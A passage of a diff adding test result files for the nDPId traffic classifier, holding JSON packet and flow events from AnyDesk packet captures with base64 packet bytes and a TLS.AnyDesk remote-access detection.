bWuAehCEeYY4kgiXgMHQcsmSVLGd6l4faAiBiDXRZhSSmcMbAYgLpFf9NrDovZykvPj9wED5nZp0MLyfsmbHbicVbiwUmSybJf\/J2p3u9yz1jyMg4RlwohXfTaz0VcXpQtB1x1l2aboZ6wcT9xyLkcGoQz0oD4vNtr3W048ujTCvCzyETk09XE3FLjgzBQ\/1BvYQOS+ZZSl1ZNQP8HdwQUpbWNacDjG+mrKH3ky5g\/wTAms\/QmXdpvj0LtwVeyw+h6Rb0ebJWSljiWigh8DWCxAVObPEECgVQLn89JyRqMvGOG0r9Xk\/fAEC0HQAivtXYiBSGDbv7MewZuC5P4dSqMkGCbU0OoX6u2RCOb92dZhnjQTAtlmeUsqJTsT3H1oL9TdMvE9Mfsk3aiBJzqXjD8nwDXBL8wBDrHHyWPDJ89VKdIRe1WCzpjpb\/BoglPDEE0Ko\/I9hZFehI5hebPLJt0bRJlXQV2YEBsNmVP0knY\/XVsqpLA5tWzBiBk+bAXBpvbhLhk\/ToCMDQat1s61A6FBCHLz7SvRt8Da2i0yIm9fldbEU+Na0GdA8c+Dfk03cJ05sPemcwlu2SX7jKn7thQuFMMiILawFD6C44Zy9k2JyDgZh\/Bq8RG4WrlJ\/KnXme1VbE+p9YwFyRxl+V1WqW5XOMdHlnpMmtRL80FFois0xAZZ6UayRlK4boxdOMSCP4xOv7jtzi03+5oFF+MMc+JQWik97y42qOvqSeu5rS5lUvhsg58ZPGvSEFQadn2MGs0BsAcKlRS90ssw0anmvVpFhZFtLrpO8O+sfl2SiDKAKU4TCrbcDak4TC2xIlK3WuOU2klZeAABkZDibm3z69Z8JjObqB9Z+ZBC27kIWIvcbIdTubiCVCwzmh4j8lZUP7xxrd5ln+83OuMmzuw4dc8gGJzhTgGzc6ta8sD5Yzczv5sEcNzTpGMIpMuAvn2CYjjV22q+QbzY6glE7N++AJYoNzSIC3M7t7PRI6j13p6B3LRYscE8tNJhaQm5MnDoO+Ry8sXu+OcWRyY1tfFoJNQ0C7jLcq2VPKo57pQ4bpM3bWCP7v8wJ3zeNpnC2IoJQ1wG+2pXIeQ7zjkeXSzgY\/BRVNU6JOvn\/ypNg9HNtV\/SNUFJEfmeg3Vy\/c2p\/N06Ul\/Y6PQmsfQSxRSR0Ka0ZGL1gj3ggV7DCPLo4bQIarZgJ6I8BbT+HFub+kYm7gHpxFgD75SuWbIZArEVObPWRHYw\/QrTAmhfHYOR5d9TT\/FV\/B+dWS387nQbN+oBIRc63\/5hn39jNyuR56bANQutmFxHDORTLtqADtOXdb2xaQ57ZBraCvA9L+QlxReIxlP6MsSW3pxKNfHpiO8ww3dMIS0FQ+N4Q9DuTUjcm0KZR\/AkOGANVDk3To4zjHoTDIKDRR+\/EuflT7ZFRWX048B4n4hV+KdD13Fzz8wlTUfcBvaYgQPHs2mamIeRyvDDuftZPilZqZsCxLzhT78KTE+Khs8\/zTzNWKApR0IgqU81wE4uA9A9sD3jB\/eUQE59HsfzDJuzbGJoXQ1Y47Op3JFATyFpqNne06cUjf0aFBMB3vn3Kzjqze5EQp0zLbihCm98tCMOk+KsVi\/O5\/lxsUOj3O40r2oBGM4fkuMR06wEPMocoFml2A5F9nhFcSa4ep9V35Iu5XzMxorNhxlfHF6c+tdj6slNG1f\/Fd+uHjvjpJFownv5ZMY03y6kOD\/z0pxeW3ljzsP8ZnO31kQ6IZXLXH6HN7lEi11x0ZIgoff9U+YHGWjSAe86MHKtevEoX1SBQV9D\/vVruV4d6To8BUgfVvv5FJD0Sw+c32gh4W+OY1ySiBth+xSlz5Guc7PM\/Tc\/YA8biu+70roaDth4zn2L9Unp6qY5E2Exz5DBURRULAAXjoQUcT5qbnMNtGI2DyMncwtZ18NIFUr8Gd9oNqq7PxXmBkPxl3BUKYsH\/e7XU518zCM+G7P7M59M\/pzIg586rZdPBSbexlop\/CZMEO4pCpxQDfFz3h4cvdDUNReElfzsb\/moETPewgeezak7BMK6EQf38bAxS00fv65SDzBm3xbQsgWC6Y0Txh9Gw4z4I6twhsjmwWvCGTYCaMQ43NpjpxJQXUfhtOXBmIfskaROYoY9d8xROdSA17QKUOcPMqBv05UKGgIFFQ3LqkS78NCGYgJpfKAJ629HkaETKPHDHxzaS6zF+bxkyukD1U9yxR1nVZZw96mg\/k7s9kny7PVZXjLG6iPQc8nUNfvcmYXHnq4iD+0Ap\/CzpiEGAPvu3wL9TWaKnyb8E5quRmdIWPIviLA5cvYvbNPt42wuhmc9euH0R66KYoFdEiMsPp9xKPsdMs3dKtYgCF+6+IDs5fsQShFJ2dzVugryRxQXh\/REI93HQdRI20tQcHAX7Z9mvvJ6hkXXolKRsT8GPi6X4WzsR6zfExT83UioN\/v\/Uvl2bWEnU4Yf1I7lf4v2Xrd5PUudJrR9pmI4OnhyNU0WVwRYr2WUUEvu69VO6Y+ZyzUgJYm7BXTmt1YrgkkOnO8DvI4l2Q\/1S0IgMWum6\/4hx+Jhxd5+LH74ZXWPauwqogkU6FR8Ykm2TCgm8fo3lcqcb676N3fNMlQZ15PIINkgLNO+czNuKIoEHusNKtsMdIQ7lueFpZjxhogni5eBvjtj\/lNCMUEjpURpSpL+ifBS1PH1apGv2ITy9LpKhTBcvfYSx+Np1GB4nTtg5s7nJL9\/EZ5\/lLEIvUVNsjrHg4tZFgwmNbeLy39Mq1uiEM3Cpr8nC1+zqa3Wi7vWJ0ZNrqKRf20XWgoUOvEvsjswQJZPimIhGuyDifWeky6NdA7CGaQVELBG0PJ6Bq6tcm7lHgyzzvQHIAX0N8qS1mpkwkZPSy94Fu2J97zHSbfp+Kb2Au+Xz+uRwLMNaVZALz2440Kr1HIitEdqtBesBopg5ODAOZaak4Nwf0U+Svkjo5rlDZb6S1MvI+v+4RmajDQ18pN5PhRmMqHm8leAsUjnJmJ2HlQ9sDLWKhgO0OVMNpqqVuYtY5auxFb8VA0K8X8R4eVeO6MbzFKhKBWt9baGLafHXU94nFqz3VhFxLR+Qn0ivC3AxXRy0G8G3LA5qBhitbaRZ08jd5Z\/KHehKnXIKaOtYmFZgUbl4NYIGR9ojt8QgGwnIWPCV6\/Kto79dS4VfgjTftYLskhbTt2KAsGri9gDWjQ8j7L60OKsrulGUxvbXNNF9pG6wJ1nib\/eQT08fAE\/VVtkhut5+7zHa4dj6BAgmJRSZEsEBga3m4TjvFAGQpYVNFq2qISDw+aI3ucwf3DRrKc\/k3neS4XYufoAco\/JvPQXXeq3LtkbChg+qYols\/8tpU8w\/IRQkl+YpGHp8YJs+poBI\/FfTOeQ8J14gJ\/MEZvgYp1inyzipHZuyeTUiIX"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2501,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3284} +02493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2511,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977618,"pkt_ts_usec":195442,"pkt_caplen":1615,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1615,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiTdAAIAGAADAqAG7wKgBstOUG56PNprJWcRUSlAYIBKExAAAFwMDBhRZ4hNO+msXhlYwLW3r7Wf6fxRwlnWsYmV1WuMmbomyRakhOPMItw4V+Bwe9c2kioNcoKfHSWYqqeTE0ksEvnbqcFDYrid1VrjOOjcB\/nDr1c6HLfTQ3QEJ+Lm3fUR7zGIoAQ20zm9sQuwh0owamzzcAZywgeryapRfhPauo+S3t1P6mAQJVWmQ48\/m4laoXCHpx\/ZNXM7OGlpLxi\/GQ8e0cJZKbOpdXoIavUAWim5AZib4XY4litUKtw4uWshG5QPwWaUM3Ae6cz4D6CHe1pqPJC1PHnOmoJf5zYUg8KPhyov\/VN+rFTCbG8LCc5i55m0UDUzi6HlDdA1\/um7ZW442jB6ekb1jf90bfj9J8MvGM+090gB\/kXjCbyWhMrL2DGjF1CnqO2XHEafShcUOcIkiODG38mrxp8HmyusfYW6rowpNIJnORNMONHHZbt3ayv\/4z7Z78J4iS0derQB3do+weMeQwvbqwCPKiG8HO\/My5pAhxZ+o+I9I2N9ae4X\/Y8ocpQzKB7UbCm33gA7ZKtGwp7hY5YDVTThQeofIBnnETAVcInayA1wEq9gzcjRWDzj65fgvgfC7bB7JGd8S31fOCYiB2C63dEN8pSUcU+zWvjBnr0yNDH\/EkdjjmHsEO27b5wzXb7nVEX4hJTivJz4gw4o24bftDjS4zWx60B6U9i1vyzDDxitDWw0syEsstIpaURjH7ITxa3j2r+Nq1ff9t5sYMhNTW1zTV8ejXZXGpcyKHnimylgLOExKqaUoPs16P+gMXU1GoI\/QE11V6YNOdd8IOEwfXDhTFoNhCeHMRJIOEzjnsXX3irYjMNbjsCLkkdlo\/nmoAZRRbXIP8PR0DTaNKVCvH\/lBUmaMtmedJixVqqmW062iw3kPZVBh4lYRL3jomCTu5FZesvQteJKNV3Y9Omt9+GTDIzlVG7zGyTcep4kvQZ+Sof0EGR+uV5xP2hazfvAz8bw97Dmd26aaaPR2WZIF1Uw+gGTwUwycAm2HqwBMk9KpiHOG3rT9CRBLDozpd3poBCJuMzVqYxiRw1YBNMFVnCO72mFgH53hHmJTq1CuUfqvIlcxkXFRcD1hsNPoBeMkC+gANksenOjfj4QgnxGFkLSXfYz7QAFchs27aWCjwTDiL2hPNRIFMhowA3TpiZOyPOk1j7P2qbmqZS2RY+Wg+Xr8G33bDwQJjOvaNoQoQyrMw6Km4P5SULr\/OoUfKqTYt8sacsFFgE2dhFX0aLmCR6nfj\/qavtL9bRKEw7331Hs8YJudmup7h9GKKnTwDORPRpBZbTdPW2pLXPpGMrITNeH8Czvvgrr2lAzsrODPWTSvUxAh2Sz5CcZbfx\/EdeHpFfCb1FoYkhZVl7ezj6yCSrZx2416BPENSMorhwoqdOcsi0RX5Ko3gKJwgGQKCkOa3Y0U8YcQSyWkfspdvGj3yxoveY2XqaLegd+qhmlB6N01PSLQoRemcRbyXnyxGr\/viRnWKQzZZPgg5TK4govdljpGh5dEn58vUYSwcKY8WhCjIzXrUYvrwQK4bE9HWyXw01GJmzdskpPgwYEzXQes\/tei\/r\/gUNhca777WhFTPj7c4vuisP\/hv2tOmFJDwXxgo15XcCi1ewFXlapQj2HV+tzOlUmBYwgYK7uFPfywo\/1wliiixPUz\/xHDN\/qGbzonHbrNJyXBEThhvK7H1on6XYKBCxUkx20ivR2AfZ7rojhDTeGD1othoXrjyHmj9rz5O5kE85xR4kAd6B40PTbS2D3FCfDE0r+S\/Y0coeGWLkUBTq7Mldu8aosM7O+tiy+nq5Ia3VGBq4NueTbqxQEj4\/FXfKJdTDfYicstfUhtAv0hpUILpFNfs+vduW7hyb\/6EsKXtoi\/PDM45oQJRdBmH34HpYyIYxnAy\/voJip9OCWOtW6uugZUHWyjl8MC8UGZwP0Lg32K2WtshJaLkBRK4jTkSjp80e6d\/CyeKZCTvZGOA1WpiFYxxn2IsKaToy5iPEEifX5xFRC8L8mqCJWZLWdbIKC93YrUmoQVxHMjgz6VhN1FantUqJ9VC0oAD\/1ydh9UtojQUE8zFGj8Vw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2511,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1581} +03252{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2513,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977618,"pkt_ts_usec":195735,"pkt_caplen":2180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2180,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiTlAAIAGAADAqAG7wKgBstOUG56PNqDiWcRUSlAYIBKExAAAFwMDCElZ4hNO+msXh2bUnODOizPQiAddzId5s0L6Tw4B2tyJ0YG6Lk9xeCjCkk5iyV\/TcZ+MkCeyOMxeyKngR\/0L81CbJvcp2HY5+PJ99RjORMM0hFqL0M9FsClysAMVqzfPzL0uTI+AMuQYjmp2qqS3n0jD5Mc\/OI6AQf5alcy5blcc+SRlMpLpNTjaoZqhbqyN2OjZAQ0RCghY1jgDpcpPpjzXwFfM+eUtNLtomqzUozUMvSGBCPubR8ysHpKf08rz9nQsYe\/eQy1W+fGZ3UevRU4e0ziP\/Z4ImlVCjTNEZ4Q1m5e1dfxc\/2iPO\/xRUkfR9tTq5C7ck1L6BG5Sbs7srBImqkQCfZO0borStlxpNfdnOV3FAeKPjPu+OB0GQFdSoxU3ShgSCS+s3yhVPiImHbrFfcRtfPcymodIF1QSeUI\/b4QvFBs1xUsetwKnOpQQqQSJnJmm5p8kAXEr+E17QnDNbQ7YpszC1yHmy8ntEIl3A784f8yXufRNOYJFir+O43BaD0qfe\/E8ybQFEb\/wMzNxH0PbiaGM6fZuRxuetCSAU5wDWUE+emEiVkHNdRsVQGRAbJoutoRZnkFzwA6CyosjbLdzxuScaUYQtz\/x4oANzVRMAMzmVJ4c5nalbJW8JxLGB5MZQ9JCVYtUqHLLUdCfyU4E4HlGdK5rNarSj3ruUr+\/5kCGel2xiNIDS+c9xxjT8sS4zj8gfHVq5EP7LPuFyWrTkRmqr600UXyM+yqOFXwyU43fpvj4RXm\/bDgFfkcz2MeJFCky7zPaaOAskDznNnLRmqzyBHEcnqVNwNVWmZnSPzmAPX1eSxSk78DEv\/4pC1Zw33pmGNtPqwzbm4adGRSJMpXA1ESn83MO5nw2tlad\/f6XtHIDIIFcAd2ybubKHggF1GlVj0fZ3rkpkpXpbeP4HjVWCmpZlmt5hrqOnYKCXIoA9d5Q9eU9x0bDgEw8UsAs8Z2cGt7PGrb+Qv7bmsIIrtbYJoehXXLytxGqTyGFHgdtZ1iR39hZ3t83j6Mygm3lc680av6XxYpuCod\/9ENBc+yDd51\/4a1SVvyKfKpS1J1NPGkdCHXxqze5lGusMv4rpLextd++aXgXm4pp8tC9u7v0Y3ESoZOdsgdZjwRtBAwxPUuMR+bTiGlzmFAWnBxEgtA8qwqoeJ8fN2BBhxRSoyiJIjvIbrD\/ViWh8M6a5vCi9FaH2BHmTSkUujKoS4Ui05Uf0s+HwGa2T\/ncn+QF0sBjLTpC3akoGTkw2dqmGtGGg9JL9sxQrC3Z8P2+K0kklga\/87NYKb1gwl8HI5zrx04BnBtRZsYBSRVsc1GywvAc13NndpSo5neCnmnBd\/1I9+HIxUef4wi7p4C66Y0I2booJeN+ZoBGc\/1Y4vtaXbEsPJKJMDqB+BLCw0nSvSbDYYxB91phOhOel5GanFtMg+9nyM\/3XGQvKxO8noAo3CMoOyP7NgQIfjHvFH8Bz6xZMI7QqDGNnOF1uX5CACJ7YsOw8FPJLyQlYtZFFGiMTTrapto3gMpziUDCXvss50gfevS3poRlxl+s6OS85vpXalhuTHFjf8vGxSXfWFquDf1RFg9CUy8zk9PSl1vxgrx0OTqElj9oGT3+Vx3qZgn2bqf+592wbJFWx25hJrBNvBVEbn+OJNrZuuEh1HCoz98Rw4ULrJKM3qfOdDRZ2usK\/f4PyleqeEhwP7aUVZX0wKYFXL2UxfGiK7yY36SpPBq3Ln32t6dvMpaObtqNj+Kfr4ImRxmqQhe0B5zTHV67SrOYPC5E+e3BuEgNN6g9Xu7lBtLjFEUVfT\/s+OSTv0ASorfZmSXHEGDDlch1PtzQNW9Rg1xFAIoMDwxtBj3jiKEIJKWJ2FNgC2FjB+FshqIdc1deJTLE2ymgSABs\/nFAcJERH5Eh8SDc80l1fUqtgee0KKG7+UiEYG9HBLhxrjLYpW6nqwKOnP5iS5J75eSdcaJPQ2RCDoI48f54M\/u0C5mjF4KxZWfbF6W+LA7ItzNMe\/dXWOBsTFS8qH5T20g\/3IZenJtIlcn5ix8kqRSNhmkt78WK6PYEC8Frnz87GbQ2+TF1AIO24YEByT38EkpPfVZBJEKa7vsROTk\/wrD31hqsKtZVqrDC7NcjVOE7GiftEXF+1sA8Yo1W\/gcl71x2tP6c6oxG0OS7vSR61oZ9c4wtxmZsalZYl9wvy0wjtzOgCqQPbk69W7bNvn1ZXADwPJ8YWuzH9z1aPWM2csOqghu72ChTMW2zQtB\/qGY49wPVNjYcmbEB+443LWlsFCjcunDLVmzxVAIJIet9kbYse0PhUurR66Ele1UdzzsBsHU08\/5dPnbKk+8hDJCPyIztDNktODA9+bPmDu8JJ2UixUjK4TEzkxYFIQMx0hR4gryqlUJRl1sbbMr7VctjZdbpqLiiFuSagY+pSdIQ8GPFcdtrfWsXnDYoiBXJ\/5j+UKyYU4B2pUY38w+mhHW38VyltT030eEtueb0ipynzmIgzRdJZ\/W7TPMibiy2oykdpbb6SZ1ujx16jzA3iU7pPElUkIOkKOSxtREPgbzIlknPYKGoBQHdq0GpxSL0i9d7GU7NtI2fcQYpwP4X\/sj3JNdosmuOXAeEPYsSMWQmH+qrj6FSm9gE+WhZfWc2hGNRD7Y6OGdYaU0Q60pRVRul0FACZqyMrb5y97MpVuuqRxKzn2r7P+Z+KtgKO7S7rNMVQmOq0tVktiH\/Ws836Z6\/328nnzLauw2NXRu0qwbtytvVv0f2sBuTbqbURJET4ciDSSyF7wux7TlhQsY\/qPPlXKBUkVGHetfK0nSty5hsQc12nShr9kuLAog="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2513,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2146} diff --git a/test/results/anydesk.pcap.out b/test/results/anydesk.pcap.out new file mode 100644 index 000000000..063e03ef7 --- /dev/null +++ b/test/results/anydesk.pcap.out @@ -0,0 +1,35 @@ +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"anydesk.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591342198821,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.149.129","dst_ip":"51.83.239.144","src_port":36351,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342198,"pkt_ts_usec":821353,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AFBW5dKtAAwplUdeCABFAABbtopAAEAGCwXAqJWBM1PvkI3\/AFB7i54qMVwSUlAY+DR5WwAAFwMDAC7mz9mv7V5op8uDzrVlyYzGPOa22i4SIRv\/ctzVUMWyqJzhwIdSdK\/Qd7DJrcKc"} +00414{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342198,"pkt_ts_usec":821804,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwplUdeAFBW5dKtCABFAAAoe1AAAIAGRnIzU++QwKiVgQBQjf8xXBJSe4ueXVAQ+vBP7wAAAAAAAAAA"} +00473{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342198,"pkt_ts_usec":998446,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AFBW5dKtAAwplUdeCABFAABYtotAAEAGCwfAqJWBM1PvkI3\/AFB7i55dMVwSUlAY+DR5WAAAFwMDACvmz9mv7V5oqHbrZghdQbdzwBFFDzsTJ43BfdwI8acT8HfThIVfMXtYD9Ln"} +00414{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342198,"pkt_ts_usec":999092,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwplUdeAFBW5dKtCABFAAAoe1EAAIAGRnEzU++QwKiVgQBQjf8xXBJSe4uejVAQ+vBPvwAAAAAAAAAA"} +00477{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":30552,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AAwplUdeAFBW5dKtCABFAABZe1IAAIAGRj8zU++QwKiVgQBQjf8xXBJSe4uejVAY+vBoPwAAFwMDACwkrUQuni1bEw+EOVXQULZxliYh7KSKyV8boo6+bx\/PbNgRA1Ej\/EtfUWhm2A=="} +00406{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":30587,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAotoxAAEAGCzbAqJWBM1PvkI3\/AFB7i56NMVwSg1AQ+DR5KAAA"} +00625{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":192188,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAwplUdeAFBW5dKtCABFAADHe1MAAIAGRdAzU++QwKiVgQBQjf8xXBKDe4uejVAY+vC7swAAFwMDAJokrUQuni1bFHnCrCrci8mu17SSshonC+8pGDiK6l\/Phzxh+NqjpoA5ePRAbTasLuAk4CkeR\/3tMjzdi54ShmUijEg7vw7jf2Yibglow2dlbDkiN8RweFkh8WAg9qfiulu\/uBXqXNlyQGNFnq0FuLddJpIfp\/rRQZTfZvnPbpMerzuj+HtmaUXL4pG6hubYJ0hdsp6pU1FeUjm4"} +00407{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":192219,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoto1AAEAGCzXAqJWBM1PvkI3\/AFB7i56NMVwTIlAQ+DR5KAAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"anydesk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1591342199201,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.149.129","dst_ip":"51.83.238.219","src_port":43535,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":201196,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AFBW5dKtAAwplUdeCABFAAA8CJBAAEAGudPAqJWBM1Pu26oPAFApppzyAAAAAKAC+vB4hwAAAgQFtAQCCAqukMx3AAAAAAEDAwc="} +00415{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":366001,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AAwplUdeAFBW5dKtCABFAAAse1UAAIAGRx4zU+7bwKiVgQBQqg9odWR8Kaac82AS+vDm4QAAAgQFtAAA"} +00407{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":366113,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFBW5dKtAAwplUdeCABFAAAoCJFAAEAGuebAqJWBM1Pu26oPAFApppzzaHVkfVAQ+vB4cwAA"} +00765{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":366725,"pkt_caplen":317,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":317,"pkt_l4_len":283,"pkt":"AFBW5dKtAAwplUdeCABFAAEvCJJAAEAGuN7AqJWBM1Pu26oPAFApppzzaHVkfVAY+vB5egAAFgMBAQIBAAD+AwPH+2RueS0bCFAjOjiKaUYj6rfjOOjwnxNAapJEdabvkAAAgMAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANsAywC7AKsAmwA\/ABQCdAD0ANcAvwCvAJ8AjwBPACQCkAKIAoACeAGcAQAA\/AD4AMwAyADEAMMAxwC3AKcAlwA7ABACcADwAL8ASwAgAFgATABAADcANwAMACgD\/AQAAVQALAAQDAAECAAoAHAAaABcAGQAcABsAGAAaABYADgANAAsADAAJAAoAIwAAAA0AIAAeBgEGAgYDBQEFAgUDBAEEAgQDAwEDAgMDAgECAgIDAA8AAQE="} +00835{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"anydesk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1591342199201,"flow_last_seen":1591342199366,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":283,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.149.129","dst_ip":"51.83.238.219","src_port":43535,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.AnyDesk","breed":"Acceptable","category":"RemoteAccess"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"201999283915cc31cee6b15472ef3332","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00415{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":367083,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AAwplUdeAFBW5dKtCABFAAAoe1YAAIAGRyEzU+7bwKiVgQBQqg9odWR9Kaad+lAQ+vD9lwAAAAAAAAAA"} +02165{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"anydesk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591342199,"pkt_ts_usec":532111,"pkt_caplen":1354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1354,"pkt_l4_len":1320,"pkt":"AAwplUdeAFBW5dKtCABFAAU8e1cAAIAGQgwzU+7bwKiVgQBQqg9odWR9Kaad+lAY+vCKSQAAFgMDAFcCAABTAwNe2fR3FKnG2hMjkf\/flk2Q8alQACN4Gw3ceEAvBvF6LSCBWeatQQeDcBonXd4xN3eteAA\/15hN7vAwUwn3lLPAk8AsAAALAAsAAgEA\/wEAAQAWAwMItwsACLMACLAAA0MwggM\/MIIBJwIJAPGIMHZ0UySTMA0GCSqGSIb3DQEBCwUAMEgxFzAVBgNVBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUgR21iSDELMAkGA1UEBhMCREUwHhcNMTgxMTE4MDIxNDIzWhcNMjgxMTE1MDIxNDIzWjBGMQswCQYDVQQGEwJERTEgMB4GA1UECgwXcGhpbGFuZHJvIFNvZnR3YXJlIEdtYkgxFTATBgNVBAMMDEFueU5ldCBSZWxheTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABEimSq43jXFd4y0DWmX27+lJ7CD1sFgnD\/iYL6vzT5r88O9fhn8M\/e++YZZi52ShTQpo